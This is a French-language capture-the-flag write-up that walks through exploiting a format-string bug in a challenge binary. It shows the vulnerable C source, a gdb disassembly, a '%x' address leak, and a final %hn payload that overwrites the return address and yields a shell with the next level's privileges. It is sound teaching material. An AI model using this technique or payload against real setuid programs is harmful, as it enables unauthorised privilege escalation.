Je vais ici montrer un simple trick concernant l'exploitation de format string. Ca va consister à vite trouver l'addresse où écrire.
Tout d'abord le challenge :
#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char* argv[]) { if (argc != 2) { printf("Usage : ./prog arg\n"); exit(1); } char name[1024]; strncpy(name,argv[1],1024); name[1023] = '\0'; printf("Votre nom est : "); printf(name); printf("\n"); return 0; }
On lance gdb :
level9@VmAppliZenk:~$ gdb -q ./level9 warning: not using untrusted file "/home/level9/.gdbinit" (gdb) set disassembly-flavor intel (gdb) disassemble main Dump of assembler code for function main: 0x08048474 <main+0>: lea ecx,[esp+0x4] 0x08048478 <main+4>: and esp,0xfffffff0 0x0804847b <main+7>: push DWORD PTR [ecx-0x4] 0x0804847e <main+10>: push ebp 0x0804847f <main+11>: mov ebp,esp 0x08048481 <main+13>: push ecx 0x08048482 <main+14>: sub esp,0x414 0x08048488 <main+20>: mov DWORD PTR [ebp-0x408],ecx 0x0804848e <main+26>: mov eax,DWORD PTR [ebp-0x408] 0x08048494 <main+32>: cmp DWORD PTR [eax],0x2 0x08048497 <main+35>: je 0x80484b1 <main+61> 0x08048499 <main+37>: mov DWORD PTR [esp],0x80485e0 0x080484a0 <main+44>: call 0x8048398 <puts@plt> 0x080484a5 <main+49>: mov DWORD PTR [esp],0x1 0x080484ac <main+56>: call 0x80483a8 <exit@plt> 0x080484b1 <main+61>: mov edx,DWORD PTR [ebp-0x408] 0x080484b7 <main+67>: mov eax,DWORD PTR [edx+0x4] 0x080484ba <main+70>: add eax,0x4 0x080484bd <main+73>: mov eax,DWORD PTR [eax] 0x080484bf <main+75>: mov DWORD PTR [esp+0x8],0x400 0x080484c7 <main+83>: mov DWORD PTR [esp+0x4],eax 0x080484cb <main+87>: lea eax,[ebp-0x404] 0x080484d1 <main+93>: mov DWORD PTR [esp],eax 0x080484d4 <main+96>: call 0x8048358 <strncpy@plt> 0x080484d9 <main+101>: mov BYTE PTR [ebp-0x5],0x0 0x080484dd <main+105>: mov DWORD PTR [esp],0x80485f3 0x080484e4 <main+112>: call 0x8048388 <printf@plt> 0x080484e9 <main+117>: lea eax,[ebp-0x404] 0x080484ef <main+123>: mov DWORD PTR [esp],eax 0x080484f2 <main+126>: call 0x8048388 <printf@plt> 0x080484f7 <main+131>: mov DWORD PTR [esp],0xa 0x080484fe <main+138>: call 0x8048368 <putchar@plt> 0x08048503 <main+143>: mov eax,0x0 0x08048508 <main+148>: add esp,0x414 0x0804850e <main+154>: pop ecx 0x0804850f <main+155>: pop ebp 0x08048510 <main+156>: lea esp,[ecx-0x4] 0x08048513 <main+159>: ret End of assembler dump. (gdb) break *0x080484f2 Breakpoint 1 at 0x80484f2 (gdb) r %x Starting program: /home/level9/level9 %x Breakpoint 1, 0x080484f2 in main () Current language: auto; currently asm (gdb) x/10x $esp-16 0xbffff470: 0xbffff484 0xb7fd8ff4 0xbffff898 0x080484e9 0xbffff480: 0xbffff494 0xbffffa44 0x00000400 0xbffff4a0 0xbffff490: 0xbffff8b0 0x252e7825
On pose un breakpoint sur la ligne 0x080484f2 on retourne ensuite en 0x080484f7 normalement.
On dumpe et on doit re-écrire l'adresse de retour (en vert).
L'adresse de re-écriture est en 0xbffff47c.
Bon comment on fait en dehors de gdb?
C'est là que la format string devient utile pour de l'information leak :
(gdb) r `python -c 'print "%x." * 10'` Votre nom est : bffffa44.400.bffff4a0.bffff8b0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e. Program exited normally. (gdb) quit
On peut calculer l'adresse où écrire grâce à la troisième valeur :
offset pour avoir le début : 0xbffff4a0 - 0xbffff470 = 30
addresse où écrire : bffff470 + 0xc = bffff47c
On va essayer ça sans gdb now :).
level9@VmAppliZenk:~$ ./level9 `python -c 'print "%x." * 10'` Votre nom est : bfffaa30.400.bfffa490.bfffa8a0.252e7825.78252e78.2e78252e.252e7825.78252e78.2e78252e.
Addresse où on doit écrire : 0xbfffa490 - 0x30 + c = 0xbfffa46c
On essaie :
level9@VmAppliZenk:~$ ./level9 `python -c 'print "\x6c\xa4\xff\xbf" + "%55121x" + "%5$hn" + "\x6e\xa4\xff\xbf" + "%59558x" + "%9$hn"'` sh-3.2$ id uid=1009(level9) gid=1009(level9) euid=1010(level10) groups=1009(level9),1012(challengers)
Pawned,
m_101